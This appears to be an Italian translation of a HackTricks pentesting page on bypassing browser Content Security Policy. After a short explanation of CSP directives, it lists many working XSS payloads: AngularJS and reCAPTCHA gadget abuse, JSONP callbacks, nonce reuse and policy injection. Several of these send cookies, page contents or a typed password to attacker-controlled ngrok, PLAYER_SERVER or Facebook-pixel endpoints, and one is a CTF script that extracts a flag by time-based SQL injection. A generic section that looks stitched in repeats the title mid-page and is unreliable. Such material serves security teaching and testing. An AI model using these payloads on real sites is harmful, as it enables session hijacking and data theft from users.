Content Security Policy (CSP) Bypass

Bypass della Content Security Policy (CSP)

Impara l'hacking su AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

Unisciti al server HackenProof Discord per comunicare con hacker esperti e cacciatori di bug bounty!

Approfondimenti sull'Hacking Coinvolgiti con contenuti che esplorano l'emozione e le sfide dell'hacking

Notizie sull'Hacking in Tempo Reale Resta aggiornato con il mondo dell'hacking in rapida evoluzione attraverso notizie e approfondimenti in tempo reale

Ultime Annunci Rimani informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali delle piattaforme

Unisciti a noi su Discord e inizia a collaborare con i migliori hacker oggi!

Cos'è CSP

La Content Security Policy (CSP) è riconosciuta come una tecnologia del browser, principalmente mirata a proteggere contro attacchi come cross-site scripting (XSS). Funziona definendo e dettagliando percorsi e fonti da cui le risorse possono essere caricate in modo sicuro dal browser. Queste risorse comprendono una serie di elementi come immagini, frame e JavaScript. Ad esempio, una policy potrebbe consentire il caricamento e l'esecuzione di risorse dallo stesso dominio (self), inclusa l'esecuzione di risorse inline e di codice stringa attraverso funzioni come eval, setTimeout o setInterval.

L'implementazione di CSP avviene tramite intestazioni di risposta o incorporando elementi meta nella pagina HTML. Seguendo questa policy, i browser applicano attivamente queste disposizioni e bloccano immediatamente eventuali violazioni rilevate.

  • Implementato tramite intestazione di risposta:

Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
  • Implementato tramite tag meta:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

Intestazioni

CSP può essere impostato o monitorato utilizzando queste intestazioni:

  • Content-Security-Policy: Impone il CSP; il browser blocca qualsiasi violazione.

  • Content-Security-Policy-Report-Only: Utilizzato per il monitoraggio; segnala le violazioni senza bloccarle. Ideale per i test in ambienti di pre-produzione.

Definizione delle Risorse

CSP limita gli origini per il caricamento di contenuti attivi e passivi, controllando aspetti come l'esecuzione di JavaScript inline e l'uso di eval(). Un esempio di policy è:

default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

Direttive

  • script-src: Consente origini specifiche per JavaScript, inclusi URL, script inline e script attivati da gestori di eventi o fogli di stile XSLT.

  • default-src: Imposta una policy predefinita per il recupero di risorse quando le direttive di recupero specifiche sono assenti.

  • child-src: Specifica le risorse consentite per i web worker e i contenuti dell'iframe incorporati.

  • connect-src: Limita gli URL che possono essere caricati utilizzando interfacce come fetch, WebSocket, XMLHttpRequest.

  • frame-src: Limita gli URL per gli iframe.

  • frame-ancestors: Specifica quali origini possono incorporare la pagina corrente, applicabile agli elementi come <frame>, <iframe>, <object>, <embed> e <applet>.

  • img-src: Definisce le origini consentite per le immagini.

  • font-src: Specifica le origini valide per i font caricati utilizzando @font-face.

  • manifest-src: Definisce le origini consentite dei file di manifesto dell'applicazione.

  • media-src: Definisce le origini consentite per il caricamento di oggetti multimediali.

  • object-src: Definisce le origini consentite per gli elementi <object>, <embed> e <applet>.

  • base-uri: Specifica gli URL consentiti per il caricamento utilizzando gli elementi <base>.

  • form-action: Elenca i punti di fine validi per le sottomissioni dei moduli.

  • plugin-types: Limita i tipi MIME che una pagina può invocare.

  • upgrade-insecure-requests: Istruisce i browser a riscrivere gli URL HTTP in HTTPS.

  • sandbox: Applica restrizioni simili all'attributo sandbox di un <iframe>.

  • report-to: Specifica un gruppo a cui verrà inviato un report se la policy viene violata.

  • worker-src: Specifica le origini valide per gli script Worker, SharedWorker o ServiceWorker.

  • prefetch-src: Specifica le origini valide per le risorse che verranno recuperate o precaricate.

  • navigate-to: Limita gli URL a cui un documento può navigare con qualsiasi mezzo (a, form, window.location, window.open, ecc.)

Origini

  • *: Consente tutti gli URL tranne quelli con gli schemi data:, blob:, filesystem:.

  • 'self': Consente il caricamento dallo stesso dominio.

  • 'data': Consente il caricamento di risorse tramite lo schema data (ad esempio, immagini codificate in Base64).

  • 'none': Blocca il caricamento da qualsiasi origine.

  • 'unsafe-eval': Consente l'uso di eval() e metodi simili, non raccomandato per motivi di sicurezza.

  • 'unsafe-hashes': Abilita gestori di eventi inline specifici.

  • 'unsafe-inline': Consente l'uso di risorse inline come script inline <script> o <style>, non raccomandato per motivi di sicurezza.

  • 'nonce': Una whitelist per script inline specifici utilizzando un nonce crittografico (numero usato una sola volta).

  • Se l'esecuzione di JS è limitata, è possibile ottenere un nonce utilizzato all'interno della pagina con doc.defaultView.top.document.querySelector("[nonce]") e quindi riutilizzarlo per caricare uno script dannoso (se viene utilizzato strict-dynamic, qualsiasi origine consentita può caricare nuove origini quindi questo non è necessario), come in:

Carica script riutilizzando il nonce
  • 'sha256-<hash>': Elenca gli script con un hash sha256 specifico.

  • 'strict-dynamic': Consente il caricamento degli script da qualsiasi origine se è stato elencato tramite un nonce o hash.

  • 'host': Specifica un host specifico, come example.com.

  • https:: Limita gli URL a quelli che utilizzano HTTPS.

  • blob:: Consente il caricamento delle risorse dagli URL Blob (ad esempio, URL Blob creati tramite JavaScript).

  • filesystem:: Consente il caricamento delle risorse dal filesystem.

  • 'report-sample': Include un campione del codice che viola nel rapporto di violazione (utile per il debug).

  • 'strict-origin': Simile a 'self' ma garantisce che il livello di sicurezza del protocollo delle origini corrisponda al documento (solo le origini sicure possono caricare risorse da origini sicure).

  • 'strict-origin-when-cross-origin': Invia gli URL completi quando si effettuano richieste dello stesso origine, ma invia solo l'origine quando la richiesta è di origine incrociata.

  • 'unsafe-allow-redirects': Consente il caricamento delle risorse che verranno reindirizzate immediatamente su un'altra risorsa. Non raccomandato in quanto indebolisce la sicurezza.

Regole CSP Non Sicure

'unsafe-inline'

Content-Security-Policy: script-src https://google.com 'unsafe-inline';

Lavoro payload: "/><script>alert(1);</script>

self + 'unsafe-inline' tramite Iframes

pageCSP bypass: self + 'unsafe-inline' with Iframes

'unsafe-eval'

Questo non funziona, per ulteriori informazioni controlla questo.

Content-Security-Policy: script-src https://google.com 'unsafe-eval';

Payload funzionante:

<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

strict-dynamic

Se riesci in qualche modo a fare in modo che un codice JS consentito crei un nuovo tag script nel DOM con il tuo codice JS, poiché uno script consentito lo sta creando, il nuovo tag script sarà autorizzato ad essere eseguito.

Wildcard (*)

Content-Security-Policy: script-src 'self' https://google.com https: data *;

Payload funzionante:

"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

Mancanza di object-src e default-src

Sembra che questo non funzioni più

Content-Security-Policy: script-src 'self' ;

Payload funzionanti:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

Caricamento file + 'self'

Content-Security-Policy: script-src 'self';  object-src 'none' ;

Se puoi caricare un file JS puoi bypassare questo CSP:

Payload funzionante:

"/>'><script src="/uploads/picture.png.js"></script>

Tuttavia, è molto probabile che il server stia validando il file caricato e ti permetterà solo di caricare un tipo specifico di file.

Inoltre, anche se riuscissi a caricare un codice JS all'interno di un file utilizzando un'estensione accettata dal server (come ad esempio: script.png), questo non sarebbe sufficiente perché alcuni server come il server apache selezionano il tipo MIME del file in base all'estensione e browser come Chrome rifiuteranno di eseguire il codice Javascript all'interno di qualcosa che dovrebbe essere un'immagine. "Fortunatamente", ci sono errori. Ad esempio, da un CTF ho imparato che Apache non riconosce l'estensione .wave, quindi non la serve con un tipo MIME come audio/*.

Da qui, se trovi una XSS e un caricamento di file, e riesci a trovare un'estensione interpretata erroneamente, potresti provare a caricare un file con quell'estensione e il contenuto dello script. Oppure, se il server sta controllando il formato corretto del file caricato, crea un poliglotta (alcuni esempi di poliglotti qui).

Azione del modulo

Se non è possibile iniettare JS, potresti comunque provare a esfiltrare ad esempio credenziali iniettando un'azione del modulo (e magari aspettandoti che i gestori di password riempiano automaticamente le password). Puoi trovare un esempio in questo rapporto. Inoltre, nota che default-src non copre le azioni dei moduli.

Endpoint di terze parti + ('unsafe-eval')

Per alcuni dei seguenti payload unsafe-eval non è nemmeno necessario.

Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

Carica una versione vulnerabile di Angular ed esegui JavaScript arbitrario:

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

Payloads che utilizzano Angular + una libreria con funzioni che restituiscono l'oggetto window (controlla questo post):

Il post mostra che potresti caricare tutte le librerie da cdn.cloudflare.com (o da qualsiasi altro repository di librerie JS consentito), eseguire tutte le funzioni aggiunte da ciascuna libreria e verificare quali funzioni restituiscono l'oggetto window da quali librerie.

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>

Bypassing Content Security Policy (CSP) with Angular XSS from a class name:

Ignorare la Policy di Sicurezza dei Contenuti (CSP) con XSS da un nome di classe in Angular:

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Abuso del codice JS di Google reCAPTCHA

Secondo questo CTF writeup è possibile abusare di https://www.google.com/recaptcha/ all'interno di un CSP per eseguire codice JS arbitrario eludendo il CSP:

<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

Ulteriori payload da questo articolo:

<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>

<!-- Trigger alert -->
<img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>

<!-- Reuse nonce -->
<img src=x ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'>

Abuso di www.google.com per il reindirizzamento aperto

L'URL seguente reindirizza a example.com (da qui):

https://www.google.com/amp/s/example.com/

Endpoint di terze parti + JSONP

È possibile abusare di Google Apps Script per ricevere informazioni in una pagina all'interno di script.google.com. Come è stato fatto in questo report.

Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

Gli scenari come questo in cui script-src è impostato su self e su un particolare dominio che è nella whitelist possono essere bypassati utilizzando JSONP. Gli endpoint JSONP consentono metodi di callback non sicuri che permettono a un attaccante di eseguire XSS, payload funzionante:

"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>

JSONBee contiene endpoint JSONP pronti all'uso per aggirare la CSP di diversi siti web.

La stessa vulnerabilità si verificherà se il endpoint fidato contiene un reindirizzamento aperto perché se il punto di partenza è fidato, anche i reindirizzamenti sono fidati.

Abusi di Terze Parti

Come descritto nel seguente post, ci sono molti domini di terze parti, che potrebbero essere consentiti da qualche parte nella CSP, che possono essere abusati per esfiltrare dati o eseguire codice JavaScript. Alcune di queste terze parti sono:

EntitàDominio ConsentitoCapacità

Facebook

www.facebook.com, *.facebook.com

Esfil

Hotjar

*.hotjar.com, ask.hotjar.io

Esfil

Jsdelivr

*.jsdelivr.com, cdn.jsdelivr.net

Esecuzione

Amazon CloudFront

*.cloudfront.net

Esfil, Esecuzione

Amazon AWS

*.amazonaws.com

Esfil, Esecuzione

Azure Websites

*.azurewebsites.net, *.azurestaticapps.net

Esfil, Esecuzione

Salesforce Heroku

*.herokuapp.com

Esfil, Esecuzione

Google Firebase

*.firebaseapp.com

Esfil, Esecuzione

Se trovi uno qualsiasi dei domini consentiti nella CSP del tuo obiettivo, è probabile che tu possa aggirare la CSP registrandoti al servizio di terze parti e, o esfiltrare dati a quel servizio o eseguire codice.

Ad esempio, se trovi la seguente CSP:

Content-Security-Policy​: default-src 'self’ www.facebook.com;​

Bypass di Content Security Policy (CSP)


Introduzione

Nel contesto della sicurezza delle applicazioni web, le Content Security Policy (CSP) sono un meccanismo di difesa cruciale per mitigare attacchi come l'esecuzione di script non autorizzati. Tuttavia, è possibile aggirare queste politiche di sicurezza in diversi modi.

Bypass tramite Inline Script

Una delle tecniche comuni per aggirare una CSP è l'utilizzo di script inline direttamente nell'HTML della pagina. Anche se le CSP ben configurate dovrebbero bloccare gli script inline, è possibile sfruttare vulnerabilità come le injection di script cross-site (XSS) per eseguire codice JavaScript arbitrario.

Per eseguire questa tecnica, è necessario trovare un modo per iniettare il codice JavaScript all'interno del contenuto della pagina web.

Bypass tramite Inline Style

Anche l'utilizzo di stili inline può essere sfruttato per aggirare una CSP. Se la politica CSP consente stili inline, è possibile inserire codice JavaScript all'interno degli attributi di stile per eseguire script arbitrari.

Ad esempio, un attaccante potrebbe utilizzare un payload come <div style="background-image: url('javascript:alert(1)')"> per eseguire codice JavaScript all'interno di un attributo di stile.


Conclusione

Le CSP sono uno strumento potente per proteggere le applicazioni web da vari tipi di attacchi, ma è fondamentale comprendere che possono essere aggirate se non configurate correttamente. Gli sviluppatori e i ricercatori di sicurezza devono essere consapevoli di queste tecniche di bypass e assicurarsi di implementare e configurare correttamente le CSP per garantire la massima sicurezza delle applicazioni web.

Content-Security-Policy​: connect-src www.facebook.com;​

Dovresti essere in grado di esfiltrare dati, allo stesso modo in cui è sempre stato fatto con Google Analytics/Google Tag Manager. In questo caso, segui questi passaggi generali:

  1. Crea un account sviluppatore Facebook qui.

  2. Crea una nuova app "Facebook Login" e seleziona "Sito web".

  3. Vai su "Impostazioni -> Base" e ottieni il tuo "ID app"

  4. Nel sito di destinazione da cui desideri esfiltrare i dati, puoi farlo direttamente utilizzando il gadget SDK di Facebook "fbq" tramite un "customEvent" e il payload dei dati.

  5. Vai al "Gestore eventi" della tua app e seleziona l'applicazione che hai creato (nota che il gestore eventi potrebbe essere trovato in un URL simile a questo: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events

  6. Seleziona la scheda "Eventi di test" per vedere gli eventi inviati dal sito web "tuo".

Successivamente, sul lato della vittima, esegui il seguente codice per inizializzare il pixel di tracciamento di Facebook in modo da puntare all'applicazione dell'account sviluppatore di Facebook dell'attaccante con l'ID app e emettere un evento personalizzato come questo:

fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{​
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​
});

Come per gli altri sette domini di terze parti specificati nella tabella precedente, ci sono molti altri modi per abusarne. Fare riferimento al precedente post sul blog per ulteriori spiegazioni sugli altri abusi di terze parti.

Bypass tramite RPO (sovrascrittura del percorso relativo)

Oltre alla precedente redirezione per aggirare le restrizioni del percorso, esiste un'altra tecnica chiamata Sovrascrittura del Percorso Relativo (RPO) che può essere utilizzata su alcuni server.

Ad esempio, se CSP permette il percorso https://example.com/scripts/react/, può essere aggirato come segue:

<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>

Il browser caricherà alla fine https://example.com/scripts/angular/angular.js.

Questo funziona perché per il browser, stai caricando un file chiamato ..%2fangular%2fangular.js situato sotto https://example.com/scripts/react/, che è conforme a CSP.

Quindi, lo decoderanno, richiedendo effettivamente https://example.com/scripts/react/../angular/angular.js, che è equivalente a https://example.com/scripts/angular/angular.js.

Sfruttando questa discrepanza nell'interpretazione dell'URL tra il browser e il server, è possibile aggirare le regole del percorso.

La soluzione è non trattare %2f come / sul lato server, garantendo un'interpretazione coerente tra il browser e il server per evitare questo problema.

Esempio online:https://jsbin.com/werevijewa/edit?html,output

Esecuzione JS tramite Iframes

pageIframes in XSS, CSP and SOP

manca base-uri

Se la direttiva base-uri manca, è possibile abusarne per eseguire un iniezione di markup pendente.

Inoltre, se la pagina sta caricando uno script usando un percorso relativo (come <script src="/js/app.js">) utilizzando un Nonce, è possibile abusare del tag base per farlo caricare lo script dal proprio server ottenendo un XSS. Se la pagina vulnerabile viene caricata con httpS, utilizzare un URL httpS nel base.

<base href="https://www.attacker.com/">

Eventi di AngularJS

Una specifica politica nota come Content Security Policy (CSP) potrebbe limitare gli eventi JavaScript. Tuttavia, AngularJS introduce eventi personalizzati come alternativa. All'interno di un evento, AngularJS fornisce un oggetto unico $event, che fa riferimento all'oggetto evento del browser nativo. Questo oggetto $event può essere sfruttato per aggirare il CSP. In particolare, in Chrome, l'oggetto $event/event possiede un attributo path, che contiene un array di oggetti implicati nella catena di esecuzione dell'evento, con l'oggetto window posizionato invariabilmente alla fine. Questa struttura è fondamentale per le tattiche di escape della sandbox.

Indirizzando questo array al filtro orderBy, è possibile iterare su di esso, sfruttando l'elemento terminale (l'oggetto window) per attivare una funzione globale come alert(). Il frammento di codice dimostrato di seguito chiarisce questo processo:

<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

Questo frammento evidenzia l'uso della direttiva ng-focus per attivare l'evento, utilizzando $event.path|orderBy per manipolare l'array path, e sfruttando l'oggetto window per eseguire la funzione alert(), rivelando così document.cookie.

Trova altri bypass di Angular in https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

AngularJS e dominio in whitelist

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

Un CSP policy che elenca i domini per il caricamento degli script in un'applicazione Angular JS può essere bypassato attraverso l'invocazione delle funzioni di callback e di determinate classi vulnerabili. Ulteriori informazioni su questa tecnica possono essere trovate in una guida dettagliata disponibile in questo repository git.

Payload funzionanti:

<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

Altri endpoint di esecuzione arbitraria JSONP possono essere trovati qui (alcuni di essi sono stati eliminati o corretti)

Bypass tramite Redirezione

Cosa succede quando CSP incontra una redirezione lato server? Se la redirezione porta a un'origine diversa non consentita, fallirà comunque.

Tuttavia, secondo la descrizione nella specifiche CSP 4.2.2.3. Percorsi e Redirect, se la redirezione porta a un percorso diverso, può eludere le restrizioni originali.

Ecco un esempio:

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>

Se CSP è impostato su https://www.google.com/a/b/c/d, poiché viene considerato il percorso, entrambi gli script /test e /a/test verranno bloccati da CSP.

Tuttavia, il finale http://localhost:5555/301 verrà reindirizzato lato server a https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//. Poiché si tratta di un reindirizzamento, il percorso non viene considerato, e lo script può essere caricato, eludendo così la restrizione del percorso.

Con questo reindirizzamento, anche se il percorso è specificato completamente, verrà comunque eluso.

Pertanto, la soluzione migliore è assicurarsi che il sito web non abbia vulnerabilità di reindirizzamento aperto e che non ci siano domini che possono essere sfruttati nelle regole CSP.

Eludere CSP con markup sospeso

Leggi come qui.

'unsafe-inline'; img-src *; tramite XSS

default-src 'self' 'unsafe-inline'; img-src *;

'unsafe-inline' significa che è possibile eseguire qualsiasi script all'interno del codice (XSS può eseguire codice) e img-src * significa che è possibile utilizzare nella pagina web qualsiasi immagine da qualsiasi risorsa.

È possibile aggirare questo CSP esfiltrando i dati tramite immagini (in questo caso, il XSS sfrutta un CSRF in cui una pagina accessibile dal bot contiene un SQLi e estrae il flag tramite un'immagine):

<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>

Da: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle

È possibile abusare di questa configurazione per caricare codice JavaScript inserito all'interno di un'immagine. Ad esempio, se la pagina consente il caricamento di immagini da Twitter, è possibile creare un'immagine speciale, caricarla su Twitter e abusare dell'opzione "unsafe-inline" per eseguire un codice JS (come un XSS regolare) che caricherà l'immagine, estrarrà il JS da essa e lo eseguirà: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

Con i Service Workers

La funzione importScripts dei service workers non è limitata dalla CSP:

pageAbusing Service Workers

Iniezione di Policy

Ricerca: https://portswigger.net/research/bypassing-csp-with-policy-injection

Chrome

Se un parametro inviato da te viene incollato all'interno della dichiarazione della policy, allora potresti alterare la policy in modo che diventi inefficace. Potresti consentire lo script 'unsafe-inline' con uno qualsiasi di questi bypass:

script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

Poiché questa direttiva sovrascriverà le direttive script-src esistenti. Puoi trovare un esempio qui: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

Edge

In Edge è molto più semplice. Se riesci ad aggiungere nel CSP solo questo: ;_ Edge ignorerà l'intera policy. Esempio: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

img-src *; tramite XSS (iframe) - Attacco temporizzato

Nota l'assenza della direttiva 'unsafe-inline' Questa volta puoi far caricare alla vittima una pagina sotto il tuo controllo tramite XSS con un <iframe. Questa volta farai accedere la vittima alla pagina da cui desideri estrarre informazioni (CSRF). Non puoi accedere al contenuto della pagina, ma se in qualche modo riesci a controllare il tempo necessario per il caricamento della pagina puoi estrarre le informazioni di cui hai bisogno.

Questa volta una bandiera verrà estratta, ogni volta che un carattere viene indovinato correttamente tramite SQLi la risposta richiede più tempo a causa della funzione di attesa. Quindi, sarai in grado di estrarre la bandiera:

<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}

function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}

async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}

let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'

async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t =  await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}

run();
</script>

Attraverso i Bookmarklet

Questo attacco implicherebbe un certo tipo di ingegneria sociale in cui l'attaccante convince l'utente a trascinare e rilasciare un link sul bookmarklet del browser. Questo bookmarklet conterrà codice javascript dannoso che, quando trascinato e rilasciato o cliccato, verrà eseguito nel contesto della finestra web attuale, bypassando il CSP e consentendo di rubare informazioni sensibili come cookie o token.

Per ulteriori informazioni controlla il report originale qui.

Bypass del CSP limitando il CSP

In questo resoconto CTF, il CSP viene bypassato iniettando all'interno di un iframe consentito un CSP più restrittivo che impediva il caricamento di un file JS specifico che, successivamente, tramite inquinamento del prototipo o dom clobbering permetteva di abusare di uno script diverso per caricare uno script arbitrario.

Puoi limitare un CSP di un Iframe con l'attributo csp:

<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>

Nel writeup di questo CTF, è stato possibile tramite iniezione HTML limitare ulteriormente un CSP in modo che uno script che previene CSTI fosse disabilitato e quindi la vulnerabilità diventasse sfruttabile. Il CSP può essere reso più restrittivo utilizzando tag meta HTML e gli script inline possono essere disabilitati rimuovendo l'entry che consente il loro nonce e abilitando script inline specifici tramite sha:

<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">

Esfiltrazione JS con Content-Security-Policy-Report-Only

Se riesci a far sì che il server risponda con l'intestazione Content-Security-Policy-Report-Only con un valore controllato da te (forse a causa di un CRLF), potresti farlo puntare al tuo server e se avvolgi il contenuto JS che desideri esfiltrare con <script> e poiché è altamente probabile che unsafe-inline non sia consentito dal CSP, ciò provocherà un errore CSP e parte dello script (contenente le informazioni sensibili) verrà inviata al server da Content-Security-Policy-Report-Only.

Per un esempio controlla questo writeup CTF.

document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";

Rilevare informazioni con CSP e Iframe

  • Viene creato un iframe che punta a un URL (chiamiamolo https://esempio.redirect.com) che è consentito da CSP.

  • Questo URL quindi reindirizza a un URL segreto (ad esempio, https://usersecret.esempio2.com) che non è consentito da CSP.

  • Ascoltando l'evento securitypolicyviolation, è possibile catturare la proprietà blockedURI. Questa proprietà rivela il dominio dell'URI bloccato, rivelando il dominio segreto a cui è stato reindirizzato l'URL iniziale.

È interessante notare che browser come Chrome e Firefox hanno comportamenti diversi nel gestire gli iframe rispetto a CSP, portando a una possibile divulgazione di informazioni sensibili a causa di un comportamento non definito.

Un'altra tecnica coinvolge lo sfruttamento dello stesso CSP per dedurre il sottodominio segreto. Questo metodo si basa su un algoritmo di ricerca binaria e sull'aggiustamento del CSP per includere specifici domini che sono deliberatamente bloccati. Ad esempio, se il sottodominio segreto è composto da caratteri sconosciuti, è possibile testare iterativamente diversi sottodomini modificando la direttiva CSP per bloccare o consentire tali sottodomini. Ecco un frammento che mostra come il CSP potrebbe essere configurato per facilitare questo metodo:

img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

Monitorando quali richieste vengono bloccate o consentite dal CSP, è possibile restringere i possibili caratteri nel sotto dominio segreto, alla fine scoprendo l'URL completo.

Entrambi i metodi sfruttano le sfumature dell'implementazione e del comportamento del CSP nei browser, dimostrando come le politiche apparentemente sicure possano involontariamente rivelare informazioni sensibili.

Trucco da qui.

Unisciti al server HackenProof Discord per comunicare con hacker esperti e cacciatori di bug!

Approfondimenti sull'Hacking Interagisci con contenuti che esplorano l'emozione e le sfide dell'hacking

Notizie sull'Hacking in Tempo Reale Resta aggiornato sul mondo dell'hacking frenetico attraverso notizie e approfondimenti in tempo reale

